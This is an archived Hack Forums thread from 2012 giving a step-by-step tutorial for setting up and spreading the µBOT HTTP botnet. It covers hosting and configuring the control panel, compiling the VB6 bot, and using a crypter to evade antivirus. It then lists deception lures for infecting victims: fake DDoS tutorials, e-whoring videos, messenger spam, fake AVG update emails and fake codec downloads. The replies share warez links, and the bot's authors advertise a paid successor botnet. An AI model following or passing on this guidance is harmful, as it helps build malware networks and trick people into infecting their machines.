+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Botnets and Botting (https://hackforums.net/forumdisplay.php?fid=92)
+---- Thread: [Tutorial + Download] µBOT - HTTP Bot & Spreading Techniques! (/showthread.php?tid=2105696)
[Tutorial + Download] µBOT - HTTP Bot & Spreading Techniques! - .Zink - Jan 13, 2012
[img]http://i.min.us/idS5OG.gif[/img]
How to setup & successfully spread µBOT
For the true skiddie!
Fixes are already done!
1. µBOT
Firstly, you're going to have to download the files for µBOT (download)
2. Registering with a Webhost
Now you're going to need to get some sort of hosting, I'm going to do this on 000webhosting, just go to their website, and sign up.
I would suggest using a different hosting provider, I'm using 000webhosting simply for this thread.
Spoiler (Click to View)
3. Uploading
Now you're going to have to upload your files to your hosting..
You can either do this through the online File Manager provided by 000webhosting, or via Filezilla.
(I'm going to presume the use of Filezilla).
3.1 File Transferring
After downloading filezilla, you now need to connect to your hosting service.
3.1.1 Logging in
Go to the members area of 000webhosting, and login with your details.
Spoiler (Click to View)
3.1.2 Click the "View FTP Details" option.
Spoiler (Click to View)
3.1.3 FTP Details
You're now going to connect to your hosting through Filezilla.
Take the information you have and place it into the Filezilla client, your password is the password you used to sign up for an account with 000webhosting. Hit "Quickconnect" once you've done so.
Spoiler (Click to View)
3.1.4 Extracting Files
Extract the "uBot source.rar"
Extract the "PHP Source"
Extract the "VB6 Source"
3.1.5 Time to upload.
Navigate locally to ..\uBot source\PHP Source\PHP Source\
Navigate to public_html on your hosting
Then select all of your folders / files in PHP source, and then right-click - Upload
Once uploaded, select all files & folders in public_html, and click file permissions. Set it to 755, apply to all sub directories/files.
Spoiler (Click to View)
4. Create your SQL
Navigate to the SQL panel in the 000webhosting CPanel.
Spoiler (Click to View)
Here, you're going to create a SQL database, simply enter your desired username & password. (password must contain alpha & numeric characters)
Spoiler (Click to View)
5. Link your SQL
Through Filezilla, navigate to public_html/inc/
Now, right-click on config.php, and press View/edit
Now you should have the config file up in notepad/ notepad++
edit the SQL info to your info from 000webhosting
The "$server = 'localhost';" should work, although to be safe.. Look at the SQL creation page on 000webhosting and it should show your host there. For example, mine is "mysql15.SPAM.com". (Changes over time)
Spoiler (Click to View)
6. Importing SQL
Now you're going to have to import the pre-made SQL database.
Navigate to the 000webhosting CPanel.
Now click on phpMyAdmin
Spoiler (Click to View)
Once you have done this, you will see your database, click "Enter phpMyAdmin"
When phpMyAdmin loads, click Import.
Then click browse under "File to Import"
Spoiler (Click to View)
Locate the boatnet.sql file.
Once done, hit Go.
The SQL is done!
6. Downloading VB6
Download VB6 here, if you already have it.. Then continue!
(Visual Basic Express is NOT VB6 for those that do not know...)
Spoiler (Click to View)
7. Editing the Bot
Once VB6 is installed, launch it. You will be given options.
Now, click existing, and navigate to your VB6 files for µBOT
Spoiler (Click to View)
Now that you have your project open... On the right, there should be "svc (project1.vbp), double click on on "Forms", then double click on "svchost (Form1.frm)", and again double click on the "clock" or "Timer" on the screen which appears.
Now, you should have a screen showing something like this,
Spoiler (Click to View)
8. Linking the bot with your panel
You will be able to find two lines declaring ..panel = "http://yoururl.com/webpanel/".. Obviously, edit BOTH of these.
Also, you can change the Mutex, be free to bash your keyboard!
Now you can change your interval, this is how often (in minutes) your bots receive their commands, less than 5 minutes is highly unrecommended.
Save your work, and hit File>Make Final.exe
8. Bot Complete
Congratulations, your µBOT Botnet is successfully complete!
Now to spread that bot!
I suggest getting Chrome Crypter 2.7 to stop your file being detected.
9. Spreading
To spread your bot you can use several techniques:
Youtube
Example: Make a believable Youtube tutorial on how to DDOS people, whilst having a "hot chick" background which will attract zombies just by the look.
Chat Roulette & Omegle
E-Whoring ;)
Download a suitable fake girl video here: Download
And a way to show it! Download
Yahoo & MSN
Yahoo & MSN messenger chat spammers,
"Free Webcam hack, download now, only 12 downloads left!"
Get hold of a good email spammer, have something creative in detail such as "You're AVG license has expired, download update.exe".
Porn!
Example: Link a download to a fake video displaying a codec error on your webpage, named "X-Codec.exe".
10. Round Number! All Done!
Thanks for reading, hope it came to use!
Please leave a thank if it does help!
First contribution to HF, hope you're all satisfied O.O
p.s. Its recommended to do the cron command frequently, or just before you check your clients.
Cron Command:
Code
/usr/bin/wget http://yoursitehere.com/yourpanel/cron.php >/dev/nullBefore i get a flame... They all source files, i don't really need a virus scan. But if needed, just ask without flaming please :)
Original Thread
Vouches
Spoiler (Click to View)
* - Bandit Kitteh - Jan 13, 2012
Something smells fishy.
Can anyone vouch this is safe?
* - .Zink - Jan 13, 2012
(Jan 13, 2012 02:30 AM)Bandit Kitteh Wrote: Something smells fishy.
Can anyone vouch this is safe?
Like i said, feel free to ask for virus scans. :)
Just want to contribute to HF, as i haven't learnt how to script myself properly yet.
* - Krewella - Jan 13, 2012
lol
VB6 portable.exe is detected 4/33...can anybody confirm this file?
* - Razor 1911 - Jan 13, 2012
i don't think its legit.. but if yes its a good tut
* - .Zink - Jan 13, 2012
(Jan 13, 2012 02:45 AM)sam144169 Wrote: lol
VB6 portable.exe is detected 4/33...can anybody confirm this file?
.... Which means i'm infected, lovely.
I'll get a new DL link now + I'll scan first. >.>
Source of my VB6 was just google.. - http://www.plunder.com/Visual-Basic-6-Portable-Reg-key-D-download-0b02aaf3fc.htm
#Edit
Yeah, just scanned myself.. 4/43 detected.
Removing, link & getting a new one.
#Edit2
Virus Scan of what I'm about to link :)
Spoiler (Click to View)
* - psiico - Jan 13, 2012
I've downloaded VB 6 from here and seemed OK.
http://#.org/torrent/4191988
or if you prefer filehost links here:
http://www.warez-bb.org/viewtopic.php?t=4673608&highlight=
(sorry for linking to other forums and websites)
* - .Zink - Jan 13, 2012
(Jan 13, 2012 03:30 AM)psiico Wrote: I've downloaded VB 6 from here and seemed OK.
http://#.org/torrent/4191988
or if you prefer filehost links here:
http://www.warez-bb.org/viewtopic.php?t=4673608&highlight=
(sorry for linking to other forums and websites)
Cheers for providing a safe link..
I've just infected myself twice attempting to find one.
Now to learn how to remove crap >.>
Spoiler (Click to View)
* - psiico - Jan 13, 2012
No problem mate, anytime ! We have to help each other.
* - .Zink - Jan 13, 2012
(Jan 13, 2012 12:07 PM)psiico Wrote: No problem mate, anytime ! We have to help each other.
Regarding that... Any chance of a Vouch now that the Download links are sorted? ;)
* - Adzz - Jan 13, 2012
Thanks for making a nice guide to setup and spread uBot :), i can confirm this is how you would set it up :P
* - .Zink - Jan 13, 2012
(Jan 13, 2012 02:44 PM)Adzz Wrote: Thanks for making a nice guide to setup and spread uBot :), i can confirm this is how you would set it up :P
Didn't quite expect one of the creators of uBot to reply :o
Is uBot no longer being developed by Kript0x?
* - Adzz - Jan 13, 2012
(Jan 13, 2012 03:55 PM)Zinkii Wrote: Didn't quite expect one of the creators of uBot to reply :o
Is uBot no longer being developed by Kript0x?
uBot is no longer being developed by either of us, we are now working on Cloud.NET, a project we hope to revolutionize the HTTP Botnet market, we hope to release a few screenshots soon
* - .Zink - Jan 13, 2012
Very nice, how much would you say Cloud.NET will be priced, on estimate?
Also, any chance of getting a link to this thread from your original uBot thread? Thumbs up
* - Adzz - Jan 14, 2012
(Jan 13, 2012 07:22 PM)Zinkii Wrote: Very nice, how much would you say Cloud.NET will be priced, on estimate?
Also, any chance of getting a link to this thread from your original uBot thread? *Thumbs up*
We havent decided on a price but for its features and the current market, the price will be appropriate. and yeah ill add it now :)